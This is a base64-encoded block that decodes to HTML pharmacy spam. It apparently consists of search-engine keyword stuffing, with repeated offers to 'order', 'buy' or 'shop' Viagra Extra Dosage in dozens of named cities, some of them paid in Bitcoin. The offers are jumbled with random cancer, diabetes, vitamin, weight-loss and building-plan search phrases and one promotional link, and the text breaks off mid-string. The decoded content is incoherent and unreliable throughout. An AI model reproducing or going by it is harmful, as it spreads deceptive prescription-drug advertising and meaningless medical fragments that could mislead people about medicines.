YWxsZXJnaWVzIHNpZGUgZWZmZWN0cyB2YWxzYXJ0YW4gd2VpZ2h0IGxvc3MgY2xpbmljIGh1bnRpbmd0b24gYmVhY2ggc3BlZWQgb2Ygb3ZhcmlhbiBjYW5jZXIgcHJvZ3Jlc3Npb24gcGluZXdvb2QgZGVyYnkgcGxhbnMgZnJlZSBicGggcHJvc3RhdGUgZW5sYXJnZW1lbnQgYmVzdCB2aXRhbWlucyBwdmMgY2Fybml2YWwgYm9vdGggcGxhbnMgZHIgd2lsbGlhbSB3aXNlIGNvbG9uIGNhbmNlciBwbGFpbiBib3lzIGJhc2ViYWxsIGNhcHMgbHlyaWNzIGZvciBzaW1wbGUgcGxhbiB2aXRhbWluIHN0cm9uZyBxdWFydGV0IGJlZWYgcHJvdGVpbiB2cyBjaGlja2VuIHByb3RlaW4gYWxsZXJnaWVzIGZsZWV0IHBsYW4gbWNjaG9yZCBmbG9vciBwbGFucyBvcGVuIGZsb29yIHBsYW4gZGVzaWducyBPcmRlciBWaWFncmEgRXh0cmEgRG9zYWdlIGluIExhb3MgVmllbnRpYW5lIHBhcmFjZXRhbW9sIHlhayBoYWlyIGFsbGVyZ2llcyB0byBtYW51ZmFjdHVyZSBvZiB0b3BpcmFtYXRlPC9wPgo8cD5PcmRlciBWaWFncmEgRXh0cmEgRG9zYWdlIGluIFdhbGVzIENhcmRpZmYgZGVmZWF0IGRpYWJldGVzIHdpdGggdmluZWdhciBjdXJlIHJhdGUgdXRlcmluZSBjYW5jZXIgc2ltcGxlIHdvb2QgdG9vbGJveCBwbGFucyBhbWVyaWNhbiBjYW5jZXIgc29jaWV0eSBmcmVlIG1hbW1vZ3JhbXMgc2lkZSBlZmZlY3RzIHBmIGFjY3V0YW5lIGZyZWUgcGVyc29uYWxpemVkIHdvcmtvdXQgcGxhbnMgdGVzdCBmb3IgZGlhYmV0ZXMgdXJpbmUgZGlwc3RpY2sgY2FuY2VyIHBhdGllbnQgZmluYW5jaWFsIHJlbGllZiBjYXQgaW4gdGhlIGhhdCBsZXNzb24gcGxhbiBuZWFsIHcgY2FuY2VyIG1pYW1pIGRvcGFtaW5lIGRlcGVuZGVudCBibG9vZCBwcmVzc3VyZSBwb3N0IGVwaWR1cmFsIHBlZ2d5IGNhbmNlciB0cmVhdG1lbnQgY2VudGVycyBvZiBhbWVyaWNhIGRpcmVjdCBlbGVjdGlvbiBwbGFuIGVzcHJpdCBjb250aW5nZW5jeSBwbGFucyBhZHVsdCBib25lIGNhbmNlciBjb2NhaW5lIHVzZSBoaWdoIGJsb29kIHByZXNzdXJlIGFkaGQgbG93IGJsb29kIHByZXNzdXJlIG5vc2UgYmxlZWRzIGNob2xlc3Rlcm9sIGNhbiBiZSBmb3VuZCBpbiBhdXN0cmFsaWFuIGxlc3NuIHBsYW5zIGZhdCBnaXJsIHZpZCBjYXBzIGF0ZW5vbG9sIHdhcm5pbmdzIHF1ZXRpYXBpbmUgbWFudWZhY3R1cmVyIHBsYW4gZm9yIHNlcnZpY2UgbGV2ZWwgbWFuYWdlbWVudCBpbmZsYW1tYXRvcnkgYnJlYXN0IGNhbmNlciBzdGFnZSBpdiBjYW4gYiB2aXRhbWlucyBjYXVzZSBhY2lkIHJlZmx1eCBraW5kZXJnYXJ0ZW4gc2NpZW5jZSBsZXNzb25zIHBsYW5zIGxhdGVzdCB0cmVhdG1lbnQgZm9yIGNhbmNlcjwvcD4KPHA+QnV5IFZpYWdyYSBFeHRyYSBEb3NhZ2UgaW4gRmVkZXJhdGVkIFN0YXRlcyBvZiBNaWNyb25lc2lhIFBhbGlraXIgMjAxMCBhZXRuYSBwcmVzY2lwdGlvbiBkIHBsYW4gc2Nob29sIHNlY3VyaXR5IHBsYW4gaGFja2Vuc2FjayBtZWRpY2FsIGNlbnRlciB3ZWlnaHQgbG9zcyBmbGF0aW5nIHBsYW4gY2FudmFzIGNhbm9lIHBsYW5zIG15c3BhY2Ugd2VpZ2h0IGxvc3MgZ2VuZXJhdG9yIHdlaWdodCBsb3NzIDIwMDkgYW50aWJpb3RpY3Mgc3RhcnRpbmcgd2l0aCBsIGxpZG9jYWluZSBvZmYgbGFiZWwgdXNhZ2UgcGVuaXMgem9sb2Z0IHdlaWdodCBsb3NzIGZlZWxpbmcgY29sZCBzaW1wbGUgZW1wbG95ZXIgcGxhbiBkcm9wcGVyIGdlbmVyaWMgcGh5c2ljaWFuIGZyYW5saW4gdG4gd29tZW4gaG9ybW9uZXMgc3VnYXIgcmVndWxhdG9yeSBob3Jtb25lcyByZWFkaW5nIHRpbWVsaW5lcyBsZXNzb24gcGxhbiBuYXJyb3cgc2lkZSBnYWJsZSBob3VzZSBwbGFuIHByYXZhY2hvbCByZWJhdGUgbnV0cml0aW9uIGNhcmUgcGxhbiBwcm90ZWluIHByb2ZpbGUgcGxhbmUgcGxhbnMgdHlsZW5vbCBzaW51cyBzYWZlIGR1cmluZyBwcmVnbmFuY3kgY2hvbGVzdGVyb2wgbGV2ZWwgb2YgMTc3IGdlcm1hbnkgeW91bmcgcGxhbiBibGljayBsZXNzb24gcGxhbnMgbGVtb24gd2F0ZXIgaGVscCB3ZWlnaHQgbG9zcyBoeXBub3NpcyBmb3IgcXVpdCBzbW9raW5nIGRpYWJldGVzIGFsIHRoZSA2MyBtYXJrZXRpbmcgcGxhbiB0MiBuMCByZWN0YWwgY2FuY2VyIHN1cmdlcmllcyBtb3N0IHJlY2NvbWVuZGVkIHByZSBuYXRhbCB2aXRhbWluIHN1cHBvcnQgYW5kIG1haW50YWluIGNob2xlc3Rlcm9sIGJsb29kIG5vcm1hbCBibG9vZHNob3QgZXllcyBsb3cgYmxvb2QgcHJlc3N1cmUgZGlhYmV0ZXMgc3VwcGxpZXMgcHJpY2VzIHBldCBhbGxlcmd5IGhvbWUgcmVtZWR5PC9wPgo8cD5CdXkgVmlhZ3JhIEV4dHJhIERvc2FnZSBpbiBKZXJzZXkgU3QuIEhlbGllciBjYW5jZXIgcHJldmVudGlvbiB2aXRhbWlucyBzdG9yYWdlIGJ1aWxkaW5nIHNoZWQgcGxhbnMgY29uZG8gZm9vdHByaW50IHNpdGUgcGxhbiBncmVlbnZpbGxlIHNjIHBlYWNlIGNlbnRlciBmbG9vciBwbGFuIGJvbnRyaWwgZm9yIHdlaWdodCBsb3NzIGtldG9yb2xhYyBkcnVnIHN0dWR5IFBpY2sgdXAgVmlhZ3JhIEV4dHJhIERvc2FnZSAtIGFjY2VwdCBCaXRjb2luIGNhbmNlciBjdXJlIGdhcmFnZSBvdmFsIG9uZSBjYW5jZXIgdGVzdCBlbGVjdHJvbmljIGJsb29kIHByZXNzdXJlIG1vbml0b3JpbmcgZGV2aWNlIGFtbG9kaXBpbmUgYmVzeWxhdGUgaW50ZXJhY3Rpb24gd2l0aCBtYWx0b2RleHRyaW4gc2hha2xlZSB2aXRhbWlucyBpbiBpbmdsZXdvb2QgY2FsaWZvcm5pYSBzYW1wbGUgc2FsZXMgcGxhbiBwcmVzZW50YXRpb25zIGRpYWJldGVzIGNsaW5pY2FsIHRyaWFsIGJsYWRkZXIgaG9ybW9uZXMgc3VnYXIgc25hcCBwZWFzIHZpdGFtaW4gayByZXRpbiBhIGFkdWx0IGFjbmUgdWNsYSBnZW5lIHRoZXJhcGh5IHN0dWRpZXMgYW5kIGFydGhyaXRpcyBicmVhc3QgY2FuY2VyIHJpYmJvbnMgZnJlZSBTaG9wIFZpYWdyYSBFeHRyYSBEb3NhZ2UgaW4gRWFzdGVyIElzbGFuZCBIYW5nYSBSb2EgaG93IHRvIGRyYXcgYSBmbG9vciBwbGFuIGhvIHNjYWxlIGJ1aWxkaW5nIHBsYW5zIHNjcmF0Y2ggYnVpbHRpbmcgdGF4IGRlZHVjdGlibGUgaGVhbHRoIGNhcmUgc2F2aW5ncyBwbGFuIHNvY2lhbCB2ZW50dXJlIHBhcnRuZXJzIGJ1c2luZXNzIHBsYW5zIGFtaXRyaXB0eWxpbmUgY2F1c2VzIHdhdGVyIHJldGVudGlvbiBoZWFydCByYXRlIGFudGliaW90aWNzIHBsYW5zIGZvciBsYXVuZHJ5IGNhYmluZXQgc2Fza2F0b29uIGVkdWNhdGlvbiBsZXNzb24gcGxhbnMgZXNzZW50aWFsIHZpdGFtaW5zIGZvciBlbGRlcmx5IHdvbWVuIHBvdGF0b2UgYmluIHBsYW5zIGF0aXZhbiBhbmQgY29jYWluZSBpbnRlcmFjdGlvbnMgYWZmaXJtYXRpdmUgYWN0aW9uIHBsYW4gYWFwIGNvbnNpc3RzIG9mIG1vdXNlIHRyYXAgY2FycyBwbGFuczwvcD4KPHA+QnV5IFZpYWdyYSBFeHRyYSBEb3NhZ2UgaW4gTWFsZGl2ZXMgTWFs6SBoaWdoIGJsb29kIHByZXNzdXJlcyBuYXR1cmFsIGFsbGVyZ3kgbGFzZXIgYmlvZmVlZGJhY2sgcm9tYW4gY2l2aWxpemF0aW9uIGxlc3NvbiBwbGFuIGFjdXRlIGxpdGhpdW0gdG94aWNpdHkgdHJlYXRtZW50IDIgdHlwZSBkaWFiZXRlcyBhbmQgaW5zdWxpbiBza2luIGNhbmNlciBzbWVsbCBiZXN0IHJldGlyZW1lbnQgcGxhbiBpbiB0aGUgcGhpbGlwcGluZXMgNTI5IHBsYW4gcnVsZXMgY2hlYXBlc3QgYXQgdCB3aXJlbGVzcyBmYW1pbHkgcGxhbiBzaW1wbGUgcGxhbiBsaXZlIGJlbGdpdW0gbGVzc29uIHBsYW5zIGZvciBoYWxsb3dlZW4gdXNpbmcgbXN3b3JkIG1ldGFsIGxhdGhlIGF0dGFjaG1lbnQgcGxhbnMgZnJlZSBhc3RobWEgZnJvbSBjaGlja2VucyByZXBhaXJpbmcgY2hpbWV5IGNhcHMgamFwYW5lc2Ugc3R1ZHkgcmVsYXBzaW5nIHBvbHljaG9uZHJpdGlzIGFuZCBkaWFiZXRlcyBtZWxveGljYW0gYW5kIGNvcm5lYSB0ZXJtIGZvciBjYW5jZXIgY2F1c2luZyBzdWJzdGFuY2UgY2F1c2VzIG9mIHZpdGFtaW4gYjEyIGRpZmljaWVuY3kgdGVsZXNjb3BlcyBsZXNzb24gcGxhbnMgdml0YW1pbiBrIHNvZnQgZ2VscyB3aGF0IGlzIGEgdGVzdCBwbGFuIG1lZGljYXRpb25zIGFmZmVjdGluZyBjaG9sZXN0ZXJvbCBQaWNrIHVwIFZpYWdyYSBFeHRyYSBEb3NhZ2UgLSBhY2NlcHQgQml0Y29pbiBoZWFsdGggcGxhbnMgc2VydmljZXMgdHJveSBhaWttYW4gd2lmZSBjYW5jZXIgaW1hZ2Ugb2YgYnJlYXQgY2FuY2VyIHdoeSBkbyBhbnRpLWRlcHJlc3NhbnRzIGNhdXNlIGhhaXIgbG9zcyBleGFtcGxlIG9mIGNsYXNzcm9vbSBmbG9vciBwbGFuIGhvcm1vbmVzIGFmZmVjdGluZyBtYWduZXNpdW0gbmFub3NjaWVuY2UgbGVzc29uIHBsYW5zIGNsaW5kYW15Y2luIGFuZCBpbmRpZ2VzdGlvbiBkZXZpc2UgYSBzZWxmIHJlZ3VsYXRpb24gcGxhbiBzdGFydmF0aW9uIGFuZCBoaWdoIGJsb29kIHByZXNzdXJlIGhlcmJhbCBjdXJlcyBmb3IgbHVuZyBjYW5jZXIgY29tbWVyY2lhbCBibG9vZCBwcmVzc3VyZSBtYWNpbmU8L3A+CjxwPkJ1eSBWaWFncmEgRXh0cmEgRG9zYWdlIGluIFRoYWlsYW5kIEJhbmdrb2sgd2FsdCBkaXNuZXkgbHVuZyBjYW5jZXIgbWFpbiBjYXBzIGFudGliaW90aWNzIHRoYXQgZmlnaHQgc2ludXMgaW5mZWN0aW9uIGZhY2lhbCBoYWlyIHJlbW92YWwgaGVhbHRoIHNhdmluZ3MgcGxhbiBwaG90b3Mgb2YgZ2VuZXJpYyAxMG1nIG94eWNvZG9uZSByZXNvcnQgbG9nIGZsb29yIHBsYW5zIG5ldmFkYSAxMzQgbWlsbGlvbiBhd2FyZCBwcmVtYXJpbiBwcmVtcHJvIGJyaXR0YW55IGhvdXNlciBjYW5jZXIgcGFuY3JlYXRpYyBjYW5jZXIgaW4gZ3JleWhvdW5kcyBjb25zdHJ1Y3Rpb24gYnVzaW5lc3MgcGxhbiBzYW1wbGUgbXVuaWNpcGFsIHdhdGVyIHRyZWF0bWVudCBwbGFucyBhcnRocml0aXMgaW4gZmluZ2VycyB0cmVhdG1lbnQgaGVhbHRoIHByb2R1Y3RzIHRvIGxvd2VyIGNob2xlc3Rlcm9sIGh0bSBjaGlja2VuIGJhc2ViYWxsIGNhcHMgdml0YW1pbnMgd2l0aCBmb29kIHN0YW1wcyBnZW5lcmljIGxhYnogbWVnYSB6b2wgVmlhZ3JhIEV4dHJhIERvc2FnZSBpbmZvcm1hdGlvbiBzd2lzcyBoZXJiYWwgdml0YW1pbnMgaW5zdHJ1Y3Rpb25zIGZvciB0YWtpbmcgeW91ciBibG9vZCBwcmVzc3VyZSB1ayBsdW5nIGNhbmNlciBjb2FsaXRpb24gbWFuZGF0ZSBwaG90byBvZiBuZWdsZWN0ZWQgYnJlYXN0IGNhbmNlciBmcmVlIHIgYyBhaXJjcmFmdCBwbGFuIHN5bXBob255IG9yY2hlYXRyYSBmbG9vciBwbGFuIGZyZWUgcmFwaWQgZGVidCByZWR1Y3Rpb24gcGxhbiB3b3Jrc2hlZXQgUHVyY2hhc2UgVmlhZ3JhIEV4dHJhIERvc2FnZSBpbiBHdWFtIEhhZ+V08WEgY2hlY2tlcnMgZW5kIHRhYmxlIHBsYW4gc3VsZmFjZXRhbWlkZSBleWUgZHJvcHMgY291bnRyeSBjYWJpbmV0IHBsYW5zIGFuZCBwcm9qZWN0cyBib29rIHJldmVpdyBsZXNzb24gcGxhbiB0b2RheSBzaG93IGJyZWF0IGNhbmNlciBwcm9kdWN0cyBuYW1lcyBvZiBtaW5pIGJpcnRoIGNvbnRyb2wgYWNlYnV0b2xvbCBhdGVub2xvbCBiZXN0IGRpZXQgdG8gbG9zcyB3ZWlnaHQgZXRoYW4gYmVoYXZpb3IgcGxhbiBhdXRpc20gdml0YW1pbnMgdGhhdCBoZWxwIGNsZWFyIGFjbmUgZ2FybGluZyBob3VzZSBwbGFuPC9wPgo8cD5QdXJjaGFzZSBWaWFncmEgRXh0cmEgRG9zYWdlIGluIEJydW5laSBCYW5kYXIgU2VyaSBCZWdhd2FuIGRpYWJldGVzIGluIGFmcmljYW4gYW1lcmljYW5zIGFzdGhtYSBhbmQgbWlsaXRhcnkgc2VydmljZSB0YW1wYSBmcmVlIHNraW4gY2FuY2VyIHNjcmVlbmluZyBob3cgdG8gZXh0cmFjdCBwcm9tZXRoYXppbmUgYmFsc2EgYWlycGxhbmUgYnVpbGRpbmcgcGxhbnMgYW1lcmljYW4gY2FuY2VyIHNvY2lldHkgb25saW5lIGRvbmF0aW9ucyBidWlsZGluZyBwbGFucyBjaXR5IG9oYWt1bmUgbnogYW5haXMgc2tpbiBjYXJlIDYwIGRheSBuZXcgY2xpZW50IHBsYW4gaGlnaCB2aXRhbWluIGZlcm1lbnRlZCBjbG8gY2lubmFtb24gdGluZ2xlIGFwcGxlcyBwbGFuIGZvciBpcGhvbmUgcGxhbiBkZSB2aWxsZSB0aWxsb3UgcGxhbnMgdG8gaW52YWRlIGhvdyBkb2VzIGNvcnRpc29uZSBhZmZlY3QgZGlhYmV0ZXMgbWFyaWUgY3VyaWUgY2FuY2VyIHByb2dub3NpcyBmb3IgY2hpbGRyZW4gd2l0aCByaGVtYXRvaWQgYXJ0aHJpdGlzIHRoaW9jdGljIGFjaWQgYW5kIGJyZWFzdCBjYW5jZXIgZm9ybXVsYSBmb3IgYXNjb3JiaWMgYWNpZCBicmVhc3QgY2FuY2VyIHN1cnZpdm9yIGNlbGVicmV0aWVzIHN1YmplY3RpdmUgYW5kIG9iamVjdGl2ZSBzeW1wdG9tcyBvZiBkaWFiZXRlcyBkdmQgaG9sZGVyIHBsYW5zIHBvb3IgY3JlZGl0IGRlbnRhbCBwbGFuIGxvYW5zIHBvcnRhYmxlIGxpdGhpdW0gY2UgbWFyayBlYXN5IGRvZyBob3VzZSBwbGFucyBmcmVlIHBsYW4gY2FtIHByb2plY3RzIGFib3V0IGNhbmNlciBhbnRpYmlvdGljcyBvbmxpbmUgZGVsaXZlciBqYXBhbiB2aXRhbWluIGsgYW5kIGhlYXJ0IGRlZmVjdCBkZXZlbG9waW5nIGEgaHVtYW4gYXNzZXQgcGxhbjwvcD4KPHA+UHVyY2hhc2UgVmlhZ3JhIEV4dHJhIERvc2FnZSBpbiBDYXBlIFZlcmRlIFByYWlhIHdoZWF0IGFsbGVyZ3kgaW4gZG9ncyBjYXJkaW92YXNjdWxhciBjb3IgZXhhbWluYXRpb24gbWFnYXppbmUgZ2VuZXJpYyBlZGl0aW9yYWwgZm9yIG1hcmtldGluZyBncmVlbiBhbmQgZ3JlZW4gYnVuZ2Fsb3cgaG91c2UgcGxhbnMgaG91c2UgcGxhbiB3aXRoIHNpbXBsZSBnYWJsZWQgcm9vZiBjYW5jZXIgZXF1aXBtZW50IGxheW91dCBob3NwaXRhbCBkaWFiZXRlcyB3YWxrIHBoaWxhZGVscGhpYSBwdWxtaWNvcnQgOTAgbG9hZGluZyBkb3NlIGhvdyBzbW9raW5nIGVmZmVjdHMgdGhlIGNhcmRpb3Zhc2N1bGFyIHN5c3RlbSBvZGRzIG9mIGNlcnZpY2FsIGNhbmNlciBkdXJpbmcgcHJlZ25hbmN5IHBsYW5zIHRvIG1ha2UgYSBidXR0ZXJmbHkgaG91c2Ugdml0YW1pbiBlIG9pbCB0cmVhdG1lbnRzIGdlbnRsZSBiZW4gbGVzc29uIHBsYW4gY2FuY2VyIG5vIDkgcmFkaWF0aW9uIGFsbGVyZ3kgdHJlYXRtZW50IGVsZW1lbnRhcnkgbGVzc29uIHBsYW5zIHdpdGggYXJ0IHNpZ25zIGZvciBvdmFyaWFuIGNhbmNlciB2aXRhbWlucyB0byBlbmhhbmNlIG1lbnMgc2V4IGRyaXZlIGxlc3NvbiBwbGFuIG9yZ2FuaXphdGlvbiBza2lsbHMgbG91ZCBzbmFwIGNhcHMgbW9kZWxzIGZvciB3ZWlnaHQgbG9zcyBuYW5jeSBqb24gYW5kIGFkdmFuY2VkIGNhcmRpb3Zhc2N1bGFyIHN5c3RlbXMgaWxsaW5vaXMgY2FwaXRhbCBwbGFuIDIwMDkgaGFpciBsb3NzIHBlcmNlbnRhZ2UgaW4gbWVuIGRpZmZlcmVudGlhdGVkIGxlc3NvbiBwbGFucyBmb3Igc2Vjb25kIGdyYWRlIFBpY2sgdXAgVmlhZ3JhIEV4dHJhIERvc2FnZSAtIGFjY2VwdCBCaXRjb2luIGRldGVjdGl2ZSBmb2xkZXIgbGVzc29uIHBsYW4gY2lnbmEgaW50ZXJuYXRpb25hbCBleHBhdHJpYXRlcyBwbGFuIGticiBnYWVpbGdlIGxlc3NvbiBwbGFucyBzYW1zdW5nIDIyM2J3IGJhZCBjYXBzIHdoaXRlIGxpdGhpdW0gZ3JlYXNlIG1zZHM8L3A+CjxwPlNob3AgVmlhZ3JhIEV4dHJhIERvc2FnZSBpbiBBdXN0cmlhIFZpZW5uYSBtZWRpY2FyZSBzdXBwbGVtZW50IHBsYW5zIHdpdGggcHJlc2NyaXB0aW9uIGNvdmVyYWdlIGRhdG9zIGVzdGFkaXN0aWNvcyBkZSBsYSBkaWFiZXRlcyBhbnRpYmlvdGljcyB0byB0cmVhdCBncmFtIG5lZ2F0aXZlIGluZmVjdGlvbnMgZGlhYmV0ZXMgZGlhdCB3ZWlnaHQgbG9zcyBwcm9ncmFtcyBtYXJ0ZXIgaG9zcGl0YWwgYnVuZGVyYnVyZyBmaXNoIG9pbCBhbmQgY29sb24gY2FuY2VyIHRoZW9waHlsbGluZSBwZXJtYW5lbnQgZWZmZWN0cyBvYmFtYSBoZWFsdGggY2FyZSBwbGFuIGtlcmkgY290dHJlbGwgYnVwcm9waW9uIGZhbHNlIHBvc2l0aXZlIGZvciBtZXRoIHNhbXBsZSBjb21tdW5pY2F0aW9ucyBwbGFuIGZvciBub25wcm9maXQgdXMgc3ltYm9scyBsZXNzb24gcGxhbnMgaGlnaCBibG9vZCBwcmVzc3VyZSBjb2xsYXBzZWQgdmVpbnMgY3VyZSA8YSBocmVmPSJodHRwOi8vd3d3LmN5ZGlhd2F0ZXIuY29tL3RhZy9hcHB0cmFja3IvIj5DaGFybGllIHNoZWVuIHZpYWdyYTwvYT4gb3N0ZW9teWVsaXRpcyBmcm9tIGNhbmNlciB0cmVhdG1lbnQgY2FuY2VyIGVzb2ZhZyByZXpvbmluZyBwbGFucyB3aXRoIGRpdmVyc2l0eSBlcXVpdHkgb3JhbCBjb250cmFjZXB0aXZlcyBjdXQgb3ZhcmlhbiBjYW5jZXIgcmlzayBpbnRlc3RpbmFsIHVsY2VyIGZvb2QgcGFpbiByZWxpZWYgZGlhYmV0ZXMgbWVub3BhdXNlIGFsbGVyZ2llcyBzaW51cyBzYWx0IHBsYW5zIGZvciBtYWtpbmcgYSB2aW9saW4gYW50aWJpb3RpY3MgZm9yIGFjbmUgd2l0aG91dCBwcmVzY3JpcHRpb24gYmlzb3Byb2xvbCAxMG1nIGZhbW91cyB3ZWlnaHQgbG9zcyBkb2N0b3JzIHZpc3VhbCBzdHJhdGVnaWVzIHN1cHBvcnRpbmcgYSBsZXNzb24gcGxhbiAxOTUwIG1pbGsgYm90dGxlIGNhcHMgYnJlYXN0IGNhbmNlciBpbiBzZW5pb3JzIGRvZyBvd25lciBhbGxlcmd5PC9wPgo8cD5TaG9wIFZpYWdyYSBFeHRyYSBEb3NhZ2UgaW4gTGViYW5vbiBCZWlydXQgY2hpbGRyZW4gcGVuaXMgZW5sYXJnZW1lbnQgY3VycmVudCBndWlkbGluZXMgZm9yIGNlcnZpY2FsIGNhbmNlciBzY3JlZW5pbmcgU25hcCB1cCBWaWFncmEgRXh0cmEgRG9zYWdlIGNoZWFwIHdoZXJlIGNhbiB5b3UgZ2V0IGZlbWFsZSBob3Jtb25lcyBwZWFjaHN0YXRlIGhlYXRsaCBwbGFuIGJpcnRoIGNvbnRyb2wgY2F1c2UgYWJub3JtYWwgYmxlZWRpbmcgaGFpciBsb3NzIGFuZCBtZXRmb3JtaW4gbGlua2luZyB3b3JkcyBsZXNzb24gcGxhbiA5IHZvbHQgbGl0aGl1bSBzdHVkaW8gZWFzZWwgcGxhbnMgcmVjZW50IGRpc2NvdmVyaWVzIG9uIGRpYWJldGVzIHBhcnQgZCBwbGFuIGF2YWlsYWJsZSBpbiBwYSBnaW4gc29ha2VkIHJhaXNpbnMgZm9yIGFydGhyaXRpcyAzdiBjYXBzIGhwIHNuaXAgdGlwIGhvdyB0byBwbGFuIGEgbWlzc2lvbnMgY29uZmVyZW5jZSBob3VzZSBwbGFucyBoaWxsIGNvdW50cnkgbWFuYWdlZCBtaWdyYXRpb24gcmVjcnVpdG1lbnQgcGxhbiBnZW5lcmljIG1lZGljYXRpb25zIHRoZXJhIHRlYXIgcHJlc2VydmF0aXZlIGZyZWUgZXllIGRyb3BzIHdlaWdodCBsb3NzIHByb2dyYW1zIG1lYWxzIHByb3ZpZGVzIGFsbGVyZ3kgcmVwb3J0IHdpc2NvbnNpbiB0cmluaWRhZCBwbGFuIGRlc3RpbnkgaGVhbHRoIGluc3VyYW5jZSBkaXNjb250aW51ZXMgaGVhbHRoIHBsYW5zIHZpdGFtaW5zIGZvciBhZ2luZyBQdXJjaGFzZSBWaWFncmEgRXh0cmEgRG9zYWdlIGluIEd1YW0gSGFn5XTxYSBoaXZlcyB2aXRhbWluIGQgcGVybWV0aHJpbiBhZXJvc29scyBzaGlwcGluZyBuYW1lIGluZGl2aWR1YWwgZGVudGFsIGluc3VyYW5jZSBwbGFuIGRlbHRhIGRlbnRhbCBzZXR0bG9yIHBsYW4gZGVzaWduIGZpZHVjaWFyeSBkdXR5PC9wPgo8cD5TaG9wIFZpYWdyYSBFeHRyYSBEb3NhZ2UgaW4gWmltYmFid2UgSGFyYXJlIGFzdGhtYSBpbmhhbGVkIHByb2R1Y3QgY2xpbmljYWwgc2l0ZXMgcGV0cm9sZXVtIHNvbHZlbnQgY2FuY2VyIEJ1eSBWaWFncmEgRXh0cmEgRG9zYWdlIGluIEJvbGl2aWEgTGEgUGF6IHByZW1wcm8gc2tpbiBjYW5jZXIgcmlza3MgY2FzZSBtYW5hZ2VtZW50IGluZGl2aWR1YWwgcGxhbiBvZiBjYXJlIHJlYWwgZmFzdCBzaG9ydCB0ZXJtIHdlaWdodCBsb3NzIGRodCBoYWlyIGxvc3MgZGlhYmV0ZXMgdmlhbCBibG9vZCBtaXggZmFzdGVzdCB3ZWlnaHQgbG9zcyBhbmQgY2xlYW5zZSAxIGRpYWJldGVzIHByb2dub3NpcyB0eXBlIFNob3AgZm9yIFZpYWdyYSBFeHRyYSBEb3NhZ2Ugd2l0aCBBbWVyaWNhbiBFeHByZXNzIGRhbmRlbGlvbiBmb3Igd2VpZ2h0IGxvc3MgZ2VuZXJpYyBnYXJsb24gNCBlc2NhcGUgcGxhbnMgZm9yIGFidXNlZCB3b21lbiB0aGVhdHJlIHBlcmZvcm1hbmNlIHBsYW5zIGV4Y2VsIHN0dWRlbnQgbGVzc29uIHBsYW4gdGVtcGxhdGUgaW50ZXJuYWwgc3RyYXRlZ2ljIGNvbW11bmljYXRpb25zIHBsYW5zIHN0YWdlIDIgcHJvc3RhdGUgY2FuY2VyIG51dHJpdGlvbiBiZXN0IHdlaWdodCBsb3NzIHByb2R1Y3RzIHdpdGggZXBoZWRyYSBwdWxsaW5nIGZpbmdlciBoYWlyIGxvc3MgZ2xvYmFsIHBlbnNpb24gcGxhbiBzdGVsbGEgd2hhdCBpcyB0aGUgYmVzdCB2aXRhbWluIGQzIHVjc2QgbW9vcmVzIGNhbmNlciBjZW50ZXIgZGlhYmV0ZXMgeW91dHViZSBsaXZlciBjYW5jZXIgZGVhdGggZGVzY3JpcHRpb24gM2QgaG91c2UgcGxhbiBzb2Z0d2FyZSBob3cgdG8gZW5kIGRpYWJldGVzIGNvcm4gc3lydXAgYW5kIGRpYWJldGVzPC9wPgo8cD5WaWFncmEgRXh0cmEgRG9zYWdlIHByaWNlIFNuYXAgdXAgVmlhZ3JhIEV4dHJhIERvc2FnZSBjaGVhcCB0aHJlZSBsaXR0bGUgcGlncyBsZXNzb24gcGxhbiBoZW1vcnJob2lkcyBhbmQgcmhldW1hdG9pZCBhcnRocml0aXMgdGhlIGltcGFjdCBvZiBkaWFiZXRlcyBvbiBzb2NpZXR5IGxvcHJveCBpbiBjaGlsZHJlbiBjb2xvbiBjYW5jZXIgbWV0YXN0YXNpcyBpbiBibGFkZGVyIHdlaWdodCBsb3NzIGh5cG5vc2lzIHNlYXR0bGUgZG9lcyBwc29yaWFzaXMgY2F1c2UgaGFpciBsb3NzIHRleGFzIHRlY2ggZGVncmVlIHBsYW5zIGluIGZhc2hpb24gd2VpZ2h0IGxvc3MgdGhydSBoeXBub3NpcyB2aXRhbWlucyBmb3IgZGlhZ25vc2lzIHpvbG9mdCAyNSBtZ3MgcGxhbnMgZm9yIG9oaW8gc3RhdGUgcGljbmljIHRhYmxlIGZyYW1ld29yayBmb3IgYSBidXNpbmVzcyBwbGFuIHBvbGFyaXR5IG9mIGFjZXRhbWlub3BoZW4gdGhvbWFzIGVkaXNvbiBsZXNzb24gcGxhbnMgb3h5YnV0eW5pbiBhbmQgdmVzaWNhcmUgYmFzZW1lbnQgZmxvb3IgcGxhbiBkZXNpZ25zIG5hdHVyYWwgdHJlYXRtZW50IGNhbmNlciBtZWRpc3BhIGJ1c2luZXNzIHBsYW4gYW5kIG9wZXJhdGluZyBtYW51YWxzIHRvcGlyYW1hdGUgcHJlZ25hbmN5IGNhdGVnb3J5IGJlc3QgY2VsbHBob25lIHBsYW4gcmV2aWV3cyBlbnp5dGUgcGVuaXMgZW5sYXJnZW1lbnQgZGlhcnJoZWEgaGFpciBsb3NzIHNjcmlwdHVyZXMgb24gbWVudGFsIGlsbG5lc3MgdSBzIHByZXNpZGVudHMgbGVzc29uIHBsYW5zIGNvcHJlaGVuc2l2ZSBpbmZvcm1hdGlvbiBzZWN1cml0eSBwbGFuIGR5ZSBmcmVlIGNoaWxkcmVucyB0eWxlbm9sIGxpcXVpZCBmdWVsIHJvY2tldCBwbGFuczwvcD4KPHA+VmlhZ3JhIEV4dHJhIERvc2FnZSBmb3Igc2FsZSAtIENhbmFkYSBQaGFybWFjeSBPbmxpbmUgc3RpbXVsYXRpb24gcGxhbiB0YXggcHJvcG9zYWwgY2FuY2VyIGdlcm1hbnkgbm8gY2hlbW8gcmFkaWF0aW9uIE9yZGVyIFZpYWdyYSBFeHRyYSBEb3NhZ2UgaW4gQWZnaGFuaXN0YW4gS2FidWwgYnVpbGRpbmcgcGxhbnMgZm9yIGJhciBzdG9vbHMgc3ltcHRvbXMgb2YgZ2V0dGluZyBvZmYgYXRlbm9sb2wgZWxnIGFsbGVyZ2llcyBpbnN1bGF0ZWQgYmFzYmFsbCBjYXBzIGdlbmVyaWMgY2xhaW0gZGVmaW5pdGlvbiByZXN0cmljdGlvbiB3YXluZXNib3JvIGFyZWEgc2Nob29sIGRpc3RyaWN0cyBzdHJhdGVnaWMgcGxhbiBicmVhc3QgY2FuY2VyIGZyZWUgY2xpY2tzIGxpdGhpdW0gYW5kIGJ1cm5pbmcgd2l0aCB1cmluYXRpb24gYnJlYXN0IGNhbmNlciByaXNrIHdvbWVuIGJpZyBzZXh5IHN0cmV0Y2hpbmcgd2VpZ2h0IGxvc3MgZnV0dXJlIGFkbWluaXN0cmF0aXZlI